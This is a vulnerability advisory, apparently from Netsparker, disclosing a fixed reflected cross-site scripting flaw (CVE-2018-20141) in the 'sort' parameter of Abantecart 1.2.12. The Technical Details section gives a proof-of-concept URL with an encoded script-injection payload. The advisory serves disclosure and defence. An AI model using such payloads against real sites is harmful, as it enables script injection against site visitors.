Abantecart 1.2.12 Cross Site Scripting

Abantecart version 1.2.12 suffers from a cross site scripting vulnerability.

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Cross-site Scripting Vulnerability in Abantecart 1.2.12


Advisory by Netsparker
Name: Reflected Cross-site Scripting in Abantecart 1.2.12
Affected Software: Abantecart
Affected Versions: 1.2.12
Homepage: http://www.abantecart.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-20141
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Netsparker Advisory Reference: NS-18-049

Technical Details

URL: http://{domain}/{abantecart_path}/apparel--accessories?sort=%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Ealert%280x003134%29%3C%2FscRipt%3E
Parameter Name: sort
Parameter Type: GET
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Enetsparker%25280x003134%2529%253C%252FscRipt%253E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

12th November 2018 - First Contact
13th December 2018 - Vendor Fixed
23th January 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Amer Aitak while testing Netsparker Web Application Security Scanner.

About Netsparker

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